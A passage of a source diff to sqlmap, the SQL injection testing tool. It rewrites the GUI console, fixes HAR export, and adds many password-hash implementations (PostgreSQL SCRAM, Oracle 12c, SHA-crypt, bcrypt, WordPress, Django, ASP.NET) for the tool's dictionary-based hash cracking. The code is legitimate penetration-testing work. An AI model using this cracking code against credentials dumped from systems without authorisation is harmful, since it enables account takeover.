configFile): + if proc.poll() is None: + try: + self.window.after(200, lambda: self._watchProcess(proc, serial, configFile)) + except Exception: + pass + return + + self._cleanupConfigFile(configFile) + if self.process is proc and self._runSerial == serial: + self.process = None + self.processQueue = None + self.processConfigFile = None + self._scheduleHeaderDraw() + self._refreshDerivedState() + self.hint.set("sqlmap finished with exit code %s" % proc.returncode) + + def stopProcess(self, proc=None): + proc = proc or self.process + if proc is None or proc.poll() is not None: + return + self.hint.set("Stopping sqlmap...") + try: + if self.consoleStatus is not None: + self.consoleStatus.set("Stopping...") + except Exception: + pass + try: + proc.terminate() + except Exception as ex: + self.messagebox.showerror("Unable to stop sqlmap", getSafeExString(ex)) + return + + def forceKill(): + if proc.poll() is None: + try: + proc.kill() + except Exception: + pass + + self.window.after(1800, forceKill) + + def _cleanupConfigFile(self, path): + if path: + try: + os.remove(path) + except OSError: + pass + + def _appendConsole(self, text, content, forceScroll=False): + if not content: + return + try: + atBottom = text.yview()[1] >= 0.985 + text.configure(state="normal") + text.insert(self.tk.END, content) + lineCount = int(float(text.index("end-1c").split(".")[0])) + if lineCount > MAX_CONSOLE_LINES: + text.delete("1.0", "%d.0" % (lineCount - MAX_CONSOLE_LINES)) + text.configure(state="disabled") + if forceScroll or atBottom: + text.see(self.tk.END) + except Exception: + pass + + def _openConsole(self, proc, outputQueue, serial): + p = PALETTE + tk = self.tk + try: + if self.consoleWindow is not None and self.consoleWindow.winfo_exists(): + self.consoleWindow.destroy() + except Exception: + pass + + top = tk.Toplevel(self.window) + self.consoleWindow = top + top.title("sqlmap - console") + top.configure(background=p["base"]) + + toolbar = self.ttk.Frame(top, style="Bar.TFrame", padding=(10, 8)) + toolbar.pack(fill=tk.X) + status = tk.StringVar(value="Running") + self.consoleStatus = status + self.ttk.Label(toolbar, textvariable=status, style="Stat.TLabel").pack(side=tk.LEFT) + stopButton = self.ttk.Button(toolbar, text="Stop", command=lambda: self.stopProcess(proc)) + stopButton.pack(side=tk.RIGHT, padx=(8, 0)) + self.ttk.Button(toolbar, text="Save log...", command=lambda: self._saveConsoleLog(text)).pack(side=tk.RIGHT, padx=(8, 0)) + self.ttk.Button(toolbar, text="Clear", command=lambda: self._clearConsole(text)).pack(side=tk.RIGHT) + + frame = self.ttk.Frame(top, style="Card.TFrame", padding=(10, 0, 10, 8)) + frame.pack(fill=tk.BOTH, expand=True) + text = self.scrolledtext.ScrolledText(frame, wrap=tk.NONE, bg=p["crust"], fg=p["consoleText"], + insertbackground=p["commandText"], selectbackground=p["sapphire"], + selectforeground="#ffffff", relief="sunken", borderwidth=2, + font=self.fonts["mono"], padx=12, pady=10, state="disabled") + text.pack(fill=tk.BOTH, expand=True) + self.consoleText = text + self._appendConsole(text, "$ %s\n\n" % self.command.get(), forceScroll=True) + + inputBar = self.ttk.Frame(top, style="Bar.TFrame", padding=(10, 0, 10, 10)) + inputBar.pack(fill=tk.X) + self.ttk.Label(inputBar, text="Input:", style="Hint.TLabel").pack(side=tk.LEFT, padx=(0, 8)) + inputVar = tk.StringVar(value="") + inputEntry = self.ttk.Entry(inputBar, textvariable=inputVar) + inputEntry.pack(side=tk.LEFT, fill=tk.X, expand=True) + + def sendInput(event=None): + value = inputVar.get() + if proc.poll() is not None: + return "break" + try: + proc.stdin.write(_toBytes(_toText(value) + u"\n")) + proc.stdin.flush() + self._appendConsole(text, "> %s\n" % value, forceScroll=True) + inputVar.set("") + except Exception as ex: + self._appendConsole(text, "[input error: %s]\n" % getSafeExString(ex), forceScroll=True) + return "break" - # Reference: https://stackoverflow.com/a/13833338 - text = _tkinter_scrolledtext.ScrolledText(console_frame, undo=True, wrap=_tkinter.WORD, - bg="#2c3e50", fg="#ecf0f1", - insertbackground="white", - font=('Consolas', 10)) - text.bind("", onKeyPress) - text.bind("", onReturnPress) - text.pack(fill=_tkinter.BOTH, expand=True) - text.focus() + self.ttk.Button(inputBar, text="Send", command=sendInput).pack(side=tk.RIGHT, padx=(8, 0)) + inputEntry.bind("", sendInput) + inputEntry.focus_set() - center(top) + state = {"readerDone": False, "finishedShown": False} - while True: - line = "" + def pump(): try: - line = queue.get(timeout=.1) - text.insert(_tkinter.END, line) - except _queue.Empty: - text.see(_tkinter.END) - text.update_idletasks() + if not top.winfo_exists(): + return + except Exception: + return - if not alive: + chunks = [] + size = 0 + for _ in range(256): + try: + item = outputQueue.get_nowait() + except _queue.Empty: break + if item is None: + state["readerDone"] = True + break + chunks.append(item) + size += len(item) + if size >= 131072: + break + if chunks: + self._appendConsole(text, "".join(chunks)) + + finished = proc.poll() is not None and state["readerDone"] and outputQueue.empty() + if finished and not state["finishedShown"]: + state["finishedShown"] = True + code = proc.returncode + self._appendConsole(text, "\n--- process finished (exit code %s) ---\n" % code, forceScroll=True) + status.set("Finished (exit code %s)" % code) + try: + inputEntry.configure(state="disabled") + stopButton.configure(state="disabled") + except Exception: + pass + return + top.after(45 if chunks else 90, pump) - # Create a menu bar - menubar = _tkinter.Menu(window, bg=bg_color, fg=fg_color) - - filemenu = _tkinter.Menu(menubar, tearoff=0, bg=bg_color, fg=fg_color) - filemenu.add_command(label="Open", state=_tkinter.DISABLED) - filemenu.add_command(label="Save", state=_tkinter.DISABLED) - filemenu.add_separator() - filemenu.add_command(label="Exit", command=window.quit) - menubar.add_cascade(label="File", menu=filemenu) - - menubar.add_command(label="Run", command=run) - - helpmenu = _tkinter.Menu(menubar, tearoff=0, bg=bg_color, fg=fg_color) - helpmenu.add_command(label="Official site", command=lambda: webbrowser.open(SITE)) - helpmenu.add_command(label="Github pages", command=lambda: webbrowser.open(GIT_PAGE)) - helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE)) - helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE)) - helpmenu.add_separator() - helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "%s\n\n (%s)" % (VERSION_STRING, DEV_EMAIL_ADDRESS))) - menubar.add_cascade(label="Help", menu=helpmenu) - - window.config(menu=menubar, bg=bg_color) - window._widgets = {} - - # Create header frame - header_frame = _tkinter.Frame(window, bg=bg_color, height=60) - header_frame.pack(fill=_tkinter.X, pady=(0, 5)) - header_frame.pack_propagate(0) - - # Add header label - title_label = _tkinter.Label(header_frame, text="Configuration", - font=('Helvetica', 14), - fg=accent_color, bg=bg_color) - title_label.pack(side=_tkinter.LEFT, padx=15) - - # Add run button in header - run_button = _tkinter_ttk.Button(header_frame, text="Run", command=run, width=12) - run_button.pack(side=_tkinter.RIGHT, padx=15) - - # Create notebook - notebook = _tkinter_ttk.Notebook(window) - notebook.pack(expand=1, fill="both", padx=5, pady=(0, 5)) - - # Store tab information for background loading - tab_frames = {} - tab_canvases = {} - tab_scrollable_frames = {} - tab_groups = {} - - # Create empty tabs with scrollable areas first (fast) - for group in parser.option_groups: - # Create a frame with scrollbar for the tab - tab_frame = _tkinter.Frame(notebook, bg=bg_color) - tab_frames[group.title] = tab_frame - - # Create a canvas with scrollbar - canvas = _tkinter.Canvas(tab_frame, bg=bg_color, highlightthickness=0) - scrollbar = _tkinter_ttk.Scrollbar(tab_frame, orient="vertical", command=canvas.yview) - scrollable_frame = _tkinter.Frame(canvas, bg=bg_color) - - # Store references - tab_canvases[group.title] = canvas - tab_scrollable_frames[group.title] = scrollable_frame - tab_groups[group.title] = group - - # Configure the canvas scrolling - scrollable_frame.bind( - "", - lambda e, canvas=canvas: canvas.configure(scrollregion=canvas.bbox("all")) - ) - - canvas.create_window((0, 0), window=scrollable_frame, anchor="nw") - canvas.configure(yscrollcommand=scrollbar.set) - - # Pack the canvas and scrollbar - canvas.pack(side="left", fill="both", expand=True) - scrollbar.pack(side="right", fill="y") - - # Add the tab to the notebook - notebook.add(tab_frame, text=group.title) - - # Add a loading indicator - loading_label = _tkinter.Label(scrollable_frame, text="Loading options...", - font=('Helvetica', 12), - fg=accent_color, bg=bg_color) - loading_label.pack(expand=True) - - # Function to populate a tab in the background - def populate_tab(tab_name): - group = tab_groups[tab_name] - scrollable_frame = tab_scrollable_frames[tab_name] - canvas = tab_canvases[tab_name] - - # Remove loading indicator - for child in scrollable_frame.winfo_children(): - child.destroy() - - # Add content to the scrollable frame - row = 0 - - if group.get_description(): - desc_label = _tkinter.Label(scrollable_frame, text=group.get_description(), - wraplength=600, justify="left", - font=('Helvetica', 9), - fg="#555555", bg=bg_color) - desc_label.grid(row=row, column=0, columnspan=3, sticky="w", padx=10, pady=(10, 5)) - row += 1 - - for option in group.option_list: - # Option label - option_label = _tkinter.Label(scrollable_frame, - text=parser.formatter._format_option_strings(option) + ":", - font=('Helvetica', 9), - fg=fg_color, bg=bg_color, - anchor="w") - option_label.grid(row=row, column=0, sticky="w", padx=10, pady=2) - - # Input widget - if option.type == "string": - widget = _tkinter.Entry(scrollable_frame, font=('Helvetica', 9), - relief="sunken", bd=1, width=20) - widget.grid(row=row, column=1, sticky="w", padx=5, pady=2) - elif option.type == "float": - widget = ConstrainedEntry(scrollable_frame, regex=r"\A\d*\.?\d*\Z", - font=('Helvetica', 9), - relief="sunken", bd=1, width=10) - widget.grid(row=row, column=1, sticky="w", padx=5, pady=2) - elif option.type == "int": - widget = ConstrainedEntry(scrollable_frame, regex=r"\A\d*\Z", - font=('Helvetica', 9), - relief="sunken", bd=1, width=10) - widget.grid(row=row, column=1, sticky="w", padx=5, pady=2) - else: - var = _tkinter.IntVar() - widget = _tkinter.Checkbutton(scrollable_frame, variable=var, - bg=bg_color, activebackground=bg_color) - widget.var = var - widget.grid(row=row, column=1, sticky="w", padx=5, pady=2) - - # Help text (truncated to improve performance) - help_text = option.help - if len(help_text) > 100: - help_text = help_text[:100] + "..." - - help_label = _tkinter.Label(scrollable_frame, text=help_text, - font=('Helvetica', 8), - fg="#666666", bg=bg_color, - wraplength=400, justify="left") - help_label.grid(row=row, column=2, sticky="w", padx=5, pady=2) - - # Store widget reference - window._widgets[(option.dest, option.type)] = widget - - # Set default value - default = defaults.get(option.dest) - if default: - if hasattr(widget, "insert"): - widget.insert(0, default) - elif hasattr(widget, "var"): - widget.var.set(1 if default else 0) - - row += 1 - - # Add some padding at the bottom - _tkinter.Label(scrollable_frame, bg=bg_color, height=1).grid(row=row, column=0) - - # Update the scroll region after adding all widgets - canvas.update_idletasks() - canvas.configure(scrollregion=canvas.bbox("all")) - - # Update the UI to show the tab is fully loaded - window.update_idletasks() - - # Function to populate tabs in the background - def populate_tabs_background(): - for tab_name in tab_groups.keys(): - # Schedule each tab to be populated with a small delay between them - window.after(100, lambda name=tab_name: populate_tab(name)) - - # Start populating tabs in the background after a short delay - window.after(500, populate_tabs_background) + def closeConsole(): + if proc.poll() is None: + if not self.messagebox.askyesno("Close console", "Stop the running sqlmap process and close the console?"): + return + self.stopProcess(proc) + try: + top.destroy() + except Exception: + pass + if self.consoleWindow is top: + self.consoleWindow = None + self.consoleText = None + self.consoleStatus = None + + top.protocol("WM_DELETE_WINDOW", closeConsole) + self._center(top, 920, 600) + top.after(45, pump) + + def _clearConsole(self, text): + try: + text.configure(state="normal") + text.delete("1.0", self.tk.END) + text.configure(state="disabled") + except Exception: + pass + + def _saveConsoleLog(self, text): + path = self.filedialog.asksaveasfilename(title="Save console log", defaultextension=".log", + filetypes=[("Log file", "*.log"), ("Text file", "*.txt"), ("All files", "*.*")]) + if not path: + return + try: + with io.open(path, "w", encoding="utf-8") as handle: + handle.write(_toText(text.get("1.0", "end-1c"))) + self.hint.set("Saved console log to %s" % os.path.basename(path)) + except Exception as ex: + self.messagebox.showerror("Save log failed", getSafeExString(ex)) + + def _closeApplication(self): + proc = self.process + if proc is not None and proc.poll() is None: + if not self.messagebox.askyesno("Exit sqlmap GUI", "Stop the running sqlmap process and exit?"): + return + try: + proc.terminate() + try: + _waitForProcess(proc, 1.2) + if proc.poll() is None: + proc.kill() + except Exception: + proc.kill() + except Exception: + pass + self._cleanupConfigFile(self.processConfigFile) + try: + self.window.destroy() + except Exception: + pass - # Set minimum window size - window.update() - window.minsize(800, 500) - # Center the window on screen - center(window) +def runGui(parser): + try: + from thirdparty.six.moves import tkinter as _tkinter + from thirdparty.six.moves import tkinter_scrolledtext as _scrolledtext + from thirdparty.six.moves import tkinter_ttk as _ttk + from thirdparty.six.moves import tkinter_messagebox as _messagebox + from thirdparty.six.moves import tkinter_filedialog as _filedialog + from thirdparty.six.moves import tkinter_font as _font + except ImportError as ex: + raise SqlmapMissingDependence("missing dependence ('%s')" % getSafeExString(ex)) - # Start the GUI - window.mainloop() + app = SqlmapGui(parser, _tkinter, _ttk, _scrolledtext, _messagebox, _filedialog, _font) + app.window.mainloop() diff --git a/lib/utils/har.py b/lib/utils/har.py index cb34bf39179..0eb31a1c179 100644 --- a/lib/utils/har.py +++ b/lib/utils/har.py @@ -116,7 +116,7 @@ def toDict(self): "httpVersion": self.httpVersion, "method": self.method, "url": self.url, - "headers": [dict(name=key.capitalize(), value=value) for key, value in self.headers.items()], + "headers": [dict(name="-".join(_.capitalize() for _ in key.split("-")), value=value) for key, value in self.headers.items()], "cookies": [], "queryString": [], "headersSize": -1, @@ -125,11 +125,17 @@ def toDict(self): } if self.postBody: - contentType = self.headers.get("Content-Type") - out["postData"] = { - "mimeType": contentType, - "text": getText(self.postBody).rstrip("\r\n"), - } + out["postData"] = {"mimeType": self.headers.get("Content-Type")} + + # HAR text must be UTF-8: a binary POST body (e.g. a file upload) that does not decode is + # base64-encoded losslessly rather than mangled through a lossy text decode - mirroring the + # Response.toDict() contract below (otherwise the exported HAR cannot reproduce the request) + raw = self.postBody if isinstance(self.postBody, bytes) else getBytes(self.postBody) + try: + out["postData"]["text"] = raw.decode("utf-8").rstrip("\r\n") + except UnicodeDecodeError: + out["postData"]["encoding"] = "base64" + out["postData"]["text"] = getText(base64.b64encode(raw)) return out @@ -181,22 +187,28 @@ def parse(cls, raw): def toDict(self): content = { "mimeType": self.headers.get("Content-Type"), - "text": self.content, "size": len(self.content or "") } - binary = set([b'\0', b'\1']) - if any(c in binary for c in self.content): - content["encoding"] = "base64" - content["text"] = getText(base64.b64encode(self.content)) + # HAR text must be UTF-8: a body that does not decode (binary content such as an image, or + # text in another charset) is base64-encoded losslessly rather than mangled through a lossy + # text decode. The previous check only treated NUL/0x01 as binary, so e.g. a JPEG lacking + # those bytes was corrupted into the "text" field. + raw = self.content or b"" + if not isinstance(raw, bytes): + content["text"] = getText(raw) else: - content["text"] = getText(content["text"]) + try: + content["text"] = getText(raw.decode("utf-8")) + except UnicodeDecodeError: + content["encoding"] = "base64" + content["text"] = getText(base64.b64encode(raw)) return { "httpVersion": self.httpVersion, "status": self.status, "statusText": self.statusText, - "headers": [dict(name=key.capitalize(), value=value) for key, value in self.headers.items() if key.lower() != "uri"], + "headers": [dict(name="-".join(_.capitalize() for _ in key.split("-")), value=value) for key, value in self.headers.items() if key.lower() != "uri"], "cookies": [], "content": content, "headersSize": -1, diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 13a978149af..ee3af594cfd 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -19,19 +19,27 @@ from thirdparty.pydes.pyDes import CBC from thirdparty.pydes.pyDes import des +try: + from hashlib import scrypt as _scrypt # not available on Python 2 (added in 3.6) +except ImportError: + _scrypt = None + _multiprocessing = None import base64 import binascii import gc +import hmac import math import os import re +import struct import tempfile import time import zipfile from hashlib import md5 +from hashlib import pbkdf2_hmac from hashlib import sha1 from hashlib import sha224 from hashlib import sha256 @@ -71,10 +79,13 @@ from lib.core.enums import MKSTEMP_PREFIX from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapUserQuitException +from lib.core.patch import dirtyPatches from lib.core.settings import COMMON_PASSWORD_SUFFIXES +from lib.core.settings import COMMON_PASSWORDS from lib.core.settings import COMMON_USER_COLUMNS from lib.core.settings import DEV_EMAIL_ADDRESS from lib.core.settings import DUMMY_USER_PREFIX +from lib.core.settings import HASH_ATTACK_TIME_LIMIT from lib.core.settings import HASH_BINARY_COLUMNS_REGEX from lib.core.settings import HASH_EMPTY_PASSWORD_MARKER from lib.core.settings import HASH_MOD_ITEM_DISPLAY @@ -86,10 +97,21 @@ from lib.core.settings import ROTATING_CHARS from lib.core.settings import UNICODE_ENCODING from lib.core.wordlist import Wordlist +from lib.utils.bcrypt import bcryptHash from thirdparty import six from thirdparty.colorama.initialise import init as coloramainit from thirdparty.six.moves import queue as _queue +# On Windows, multiprocessing's 'spawn' start method boots a fresh interpreter per cracking +# worker (_bruteProcessVariantA/B/Salted below) to unpickle its target function, which re-imports +# this module from scratch without ever running the main process's startup dirtyPatches() - so +# process-wide monkeypatches it installs (e.g. the 'reversible' codec error handler used by +# getUnicode()/openFile()) are missing in the worker, raising LookupError on every hashed entry +# (#6143). Placing the (idempotent) call here means that very re-import applies it. POSIX fork() +# workers inherit the parent's patches already, so this only needs to run on Windows. +if IS_WIN: + dirtyPatches() + def mysql_passwd(password, uppercase=True): """ Reference(s): @@ -146,6 +168,21 @@ def postgres_passwd(password, username, uppercase=False): return retVal.upper() if uppercase else retVal.lower() +def postgres_scram_passwd(password, salt, iterations, **kwargs): # since version '10' + """ + Reference(s): + https://www.rfc-editor.org/rfc/rfc5803 + + >>> postgres_scram_passwd(password='testpass', salt='c2FsdHNhbHRzYWx0', iterations=4096) + 'SCRAM-SHA-256$4096:c2FsdHNhbHRzYWx0$AzDKnszrCJPfdiFrFLbdoiqdocK4KWksHHcs3Jx7R5w=:lmWF1kOl/PbOyhpnGuBGzKyuP3XYMK6whWukBxHiHLc=' + """ + + salted = pbkdf2_hmac("sha256", getBytes(password), decodeBase64(salt, binary=True), iterations) + stored_key = sha256(hmac.new(salted, b"Client Key", sha256).digest()).digest() + server_key = hmac.new(salted, b"Server Key", sha256).digest() + + return "SCRAM-SHA-256$%d:%s$%s:%s" % (iterations, salt, getText(base64.b64encode(stored_key)), getText(base64.b64encode(server_key))) + def mssql_new_passwd(password, salt, uppercase=False): # since version '2012' """ Reference(s): @@ -157,7 +194,7 @@ def mssql_new_passwd(password, salt, uppercase=False): # since version '2012' """ binsalt = decodeHex(salt) - unistr = b"".join((_.encode(UNICODE_ENCODING) + b"\0") if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in password) + unistr = getUnicode(password).encode("utf-16-le") # MSSQL hashes the password as UCS-2/UTF-16LE retVal = "0200%s%s" % (salt, sha512(unistr + binsalt).hexdigest()) @@ -174,7 +211,7 @@ def mssql_passwd(password, salt, uppercase=False): # versions '2005' and '2008' """ binsalt = decodeHex(salt) - unistr = b"".join((_.encode(UNICODE_ENCODING) + b"\0") if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in password) + unistr = getUnicode(password).encode("utf-16-le") # MSSQL hashes the password as UCS-2/UTF-16LE retVal = "0100%s%s" % (salt, sha1(unistr + binsalt).hexdigest()) @@ -192,7 +229,7 @@ def mssql_old_passwd(password, salt, uppercase=True): # version '2000' and befo """ binsalt = decodeHex(salt) - unistr = b"".join((_.encode(UNICODE_ENCODING) + b"\0") if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in password) + unistr = getUnicode(password).encode("utf-16-le") # MSSQL hashes the password as UCS-2/UTF-16LE retVal = "0100%s%s%s" % (salt, sha1(unistr + binsalt).hexdigest(), sha1(unistr.upper() + binsalt).hexdigest()) @@ -216,6 +253,22 @@ def oracle_passwd(password, salt, uppercase=True): return retVal.upper() if uppercase else retVal.lower() +def oracle_12c_passwd(password, salt, uppercase=False, **kwargs): # 'T:' verifier since version '12c' (PBKDF2-HMAC-SHA512 then SHA-512) + """ + Reference(s): + https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/changes-in-oracle-database-12c-password-hashes/ + https://hashcat.net/wiki/doku.php?id=example_hashes (mode 12300) + + >>> oracle_12c_passwd(password='hashcat', salt='34141655046766111066420254008225', uppercase=True) + 'T:78281A9C0CF626BD05EFC4F41B515B61D6C4D95A250CD4A605CA0EF97168D670EBCB5673B6F5A2FB9CC4E0C0101E659C0C4E3B9B3BEDA846CD15508E88685A2334141655046766111066420254008225' + """ + + binsalt = decodeHex(salt) + key = pbkdf2_hmac("sha512", getBytes(password), binsalt + b"AUTH_PBKDF2_SPEEDY_KEY", 4096, 64) + retVal = "t:%s%s" % (sha512(key + binsalt).hexdigest(), salt) + + return retVal.upper() if uppercase else retVal.lower() + def oracle_old_passwd(password, username, uppercase=True): # prior to version '11g' """ Reference(s): @@ -227,7 +280,7 @@ def oracle_old_passwd(password, username, uppercase=True): # prior to version ' IV, pad = b"\0" * 8, b"\0" - unistr = b"".join((b"\0" + _.encode(UNICODE_ENCODING)) if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in (username + password).upper()) + unistr = b"".join((b"\0" + _.encode(UNICODE_ENCODING)) if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in (getUnicode(username) + getUnicode(password)).upper()) if des.__module__ == "Crypto.Cipher.DES": unistr += b"\0" * ((8 - len(unistr) % 8) & 7) @@ -364,6 +417,8 @@ def crypt_generic_passwd(password, salt, **kwargs): 'rl.3StKT.4T8M' """ + password = getText(password) # crypt.crypt() requires native str (unicode on Py3, bytes on Py2/PyPy), unlike the hashlib-based functions here + return getText(crypt(password, salt)) def unix_md5_passwd(password, salt, magic="$1$", **kwargs): @@ -439,6 +494,119 @@ def _encode64(value, count): return getText(magic + salt + b'$' + getBytes(hash_)) +# SHA-crypt (Drepper) final-permutation byte orders for the 32/64-byte digests +_SHA256_CRYPT_ORDER = ((0, 10, 20), (21, 1, 11), (12, 22, 2), (3, 13, 23), (24, 4, 14), (15, 25, 5), (6, 16, 26), (27, 7, 17), (18, 28, 8), (9, 19, 29), (31, 30)) +_SHA512_CRYPT_ORDER = ((0, 21, 42), (22, 43, 1), (44, 2, 23), (3, 24, 45), (25, 46, 4), (47, 5, 26), (6, 27, 48), (28, 49, 7), (50, 8, 29), (9, 30, 51), (31, 52, 10), (53, 11, 32), (12, 33, 54), (34, 55, 13), (56, 14, 35), (15, 36, 57), (37, 58, 16), (59, 17, 38), (18, 39, 60), (40, 61, 19), (62, 20, 41), (63,)) + +def _shaCryptDigest(password, salt, rounds, digestmod, order): + dsize = digestmod().digest_size + + B = digestmod(password + salt + password).digest() + + ctx = digestmod(password + salt) + cnt = len(password) + while cnt > dsize: + ctx.update(B) + cnt -= dsize + ctx.update(B[:cnt]) + + i = len(password) + while i: + ctx.update(B if i & 1 else password) + i >>= 1 + A = ctx.digest() + + dp = digestmod() + for _ in xrange(len(password)): + dp.update(password) + DP = dp.digest() + P = DP * (len(password) // dsize) + DP[:len(password) % dsize] + + ds = digestmod() + for _ in xrange(16 + (A[0] if isinstance(A[0], int) else ord(A[0]))): + ds.update(salt) + DS = ds.digest() + S = DS * (len(salt) // dsize) + DS[:len(salt) % dsize] + + C = A + for i in xrange(rounds): + c = digestmod() + c.update(P if i & 1 else C) + if i % 3: + c.update(S) + if i % 7: + c.update(P) + c.update(C if i & 1 else P) + C = c.digest() + + retVal = "" + for group in order: + value = 0 + for idx in group: + value = (value << 8) | (C[idx] if isinstance(C[idx], int) else ord(C[idx])) + for _ in xrange((len(group) * 8 + 5) // 6): + retVal += ITOA64[value & 0x3f] + value >>= 6 + + return retVal + +def sha2_crypt_passwd(password, salt, magic="$5$", **kwargs): + """ + Reference(s): + https://www.akkadia.org/drepper/SHA-crypt.txt + + >>> sha2_crypt_passwd(password='testpass', salt='saltstring', magic='$5$') + '$5$saltstring$rn/td51LeVLXb2RR8WT672g4QhAuobh1gQQFGFiRCT.' + >>> sha2_crypt_passwd(password='testpass', salt='saltstring', magic='$6$') + '$6$saltstring$Oxduy3vBZ8CEBR5mER96ach5GlbbBT1Oz5g1UNdPqomx5bB1.IwS1ZFoW8fpb0xvz/BCS7.LzpkW7GAFOW9yC.' + """ + + rounds, saltstr = 5000, salt + if salt.startswith("rounds="): + prefix, saltstr = salt.split('$', 1) + rounds = int(prefix[len("rounds="):]) + + order, digestmod = (_SHA256_CRYPT_ORDER, sha256) if magic == "$5$" else (_SHA512_CRYPT_ORDER, sha512) + digest = _shaCryptDigest(getBytes(password), getBytes(saltstr)[:16], rounds, digestmod, order) + + return "%s%s$%s" % (magic, salt, digest) + +def mysql_sha2_passwd(password, salt, rounds, prefix, **kwargs): # MySQL 8 'caching_sha2_password' (sha256crypt, 20-byte salt) + """ + Reference(s): + https://hashcat.net/wiki/doku.php?id=example_hashes + + >>> mysql_sha2_passwd(password='hashcat', salt=decodeHex('F9CC98CE08892924F50A213B6BC571A2C11778C5'), rounds=5000, prefix='$mysql$A$005*F9CC98CE08892924F50A213B6BC571A2C11778C5*') + '$mysql$A$005*F9CC98CE08892924F50A213B6BC571A2C11778C5*625479393559393965414D45316477456B484F41316E64484742577A2E3162785353526B7554584647562F' + """ + + digest = _shaCryptDigest(getBytes(password), bytes(salt), rounds, sha256, _SHA256_CRYPT_ORDER) + + return "%s%s" % (prefix, getText(encodeHex(getBytes(digest), binary=False)).upper()) + +def bcrypt_passwd(password, salt, magic="$2a$", cost=5, **kwargs): + """ + Reference(s): + https://www.openwall.com/crypt/ + + >>> bcrypt_passwd(password='U*U', salt='CCCCCCCCCCCCCCCCCCCCC.', magic='$2a$', cost=5) + '$2a$05$CCCCCCCCCCCCCCCCCCCCC.E5YPO9kmyuRGyh0XouQYb4YMJKvyOeW' + """ + + return "%s%02d$%s%s" % (magic, cost, salt, bcryptHash(password, salt, cost)) + +def wordpress_bcrypt_passwd(password, salt, magic="$2y$", cost=10, **kwargs): # WordPress 6.8+ 'bcrypt(base64(hmac-sha384(pass)))' + """ + Reference: https://make.wordpress.org/core/2025/02/17/wordpress-6-8-will-use-bcrypt-for-password-hashing/ + + >>> wordpress_bcrypt_passwd(password='hashcat', salt='lzlQrRRhLSjz486bA9CKHu', magic='$2y$', cost=10) + '$wp$2y$10$lzlQrRRhLSjz486bA9CKHuZRPoKz4uviT251Sq/r5OzKUBbrXwnQW' + """ + + prehashed = getText(base64.b64encode(hmac.new(b"wp-sha384", getBytes(password.strip()), sha384).digest())) + + return "$wp%s" % bcrypt_passwd(prehashed, salt, magic, cost) + def joomla_passwd(password, salt, **kwargs): """ Reference: https://stackoverflow.com/a/10428239 @@ -469,6 +637,56 @@ def django_sha1_passwd(password, salt, **kwargs): return "sha1$%s$%s" % (salt, sha1(getBytes(salt) + getBytes(password)).hexdigest()) +def django_pbkdf2_sha256_passwd(password, salt, iterations, **kwargs): + """ + Reference: https://github.com/django/django/blob/main/django/contrib/auth/hashers.py + + >>> django_pbkdf2_sha256_passwd(password='testpass', salt='salt', iterations=1000) + 'pbkdf2_sha256$1000$salt$N3DLJstEJ6mIjp0fq/KRcHmJ/4FtMzHYmW9fBHci/aI=' + """ + + dk = pbkdf2_hmac("sha256", getBytes(password), getBytes(salt), iterations) + + return "pbkdf2_sha256$%d$%s$%s" % (iterations, salt, getText(base64.b64encode(dk))) + +def werkzeug_pbkdf2_passwd(password, salt, iterations, digestmod="sha256", **kwargs): + """ + Reference: https://github.com/pallets/werkzeug/blob/main/src/werkzeug/security.py + + >>> werkzeug_pbkdf2_passwd(password='testpass', salt='salt', iterations=1000, digestmod='sha256') + 'pbkdf2:sha256:1000$salt$3770cb26cb4427a9888e9d1fabf291707989ff816d3331d8996f5f047722fda2' + """ + + dk = pbkdf2_hmac(digestmod, getBytes(password), getBytes(salt), iterations) + + return "pbkdf2:%s:%d$%s$%s" % (digestmod, iterations, salt, getText(encodeHex(dk, binary=False))) + +def werkzeug_scrypt_passwd(password, salt, N, r, p, **kwargs): + """ + Reference: https://github.com/pallets/werkzeug/blob/main/src/werkzeug/security.py + + >>> werkzeug_scrypt_passwd(password='testpass', salt='saltsalt', N=32768, r=8, p=1) if _scrypt else 'scrypt:32768:8:1$saltsalt$1e0f97c3f6609024022fbe698da29c2fe53ef1087a8e396dc6d5d2a041e886dee09ea922781f2c2a1c85e46c77060147e43487f8fe6226bcb635915af9b0518b' + 'scrypt:32768:8:1$saltsalt$1e0f97c3f6609024022fbe698da29c2fe53ef1087a8e396dc6d5d2a041e886dee09ea922781f2c2a1c85e46c77060147e43487f8fe6226bcb635915af9b0518b' + """ + + dk = _scrypt(getBytes(password), salt=getBytes(salt), n=N, r=r, p=p, dklen=64, maxmem=132 * N * r + 1024) + + return "scrypt:%d:%d:%d$%s$%s" % (N, r, p, salt, getText(encodeHex(dk, binary=False))) + +def aspnet_identity_passwd(password, salt, iterations, prf, dklen, **kwargs): + """ + Reference(s): + https://github.com/dotnet/AspNetCore/blob/main/src/Identity/Extensions.Core/src/PasswordHasher.cs + + >>> aspnet_identity_passwd(password='cutecats', salt=decodeBase64('AQAAAAEAACcQAAAAEFWLthQDW2xiWaS3vLgY4ItJdModbW0kzKtb8IVuXBY3fFaIntkbbdqTj8mTXH4mmA==', binary=True)[13:29], iterations=10000, prf=1, dklen=32) + 'AQAAAAEAACcQAAAAEFWLthQDW2xiWaS3vLgY4ItJdModbW0kzKtb8IVuXBY3fFaIntkbbdqTj8mTXH4mmA==' + """ + + subkey = pbkdf2_hmac({0: "sha1", 1: "sha256", 2: "sha512"}[prf], getBytes(password), bytes(salt), iterations, dklen) + blob = struct.pack(">BIII", 1, prf, iterations, len(salt)) + bytes(salt) + subkey + + return getText(base64.b64encode(blob)) + def vbulletin_passwd(password, salt, **kwargs): """ Reference: https://stackoverflow.com/a/2202810 @@ -560,10 +778,13 @@ def _encode64(input_, count): HASH.MYSQL: mysql_passwd, HASH.MYSQL_OLD: mysql_old_passwd, HASH.POSTGRES: postgres_passwd, + HASH.POSTGRES_SCRAM: postgres_scram_passwd, + HASH.MYSQL_SHA2: mysql_sha2_passwd, HASH.MSSQL: mssql_passwd, 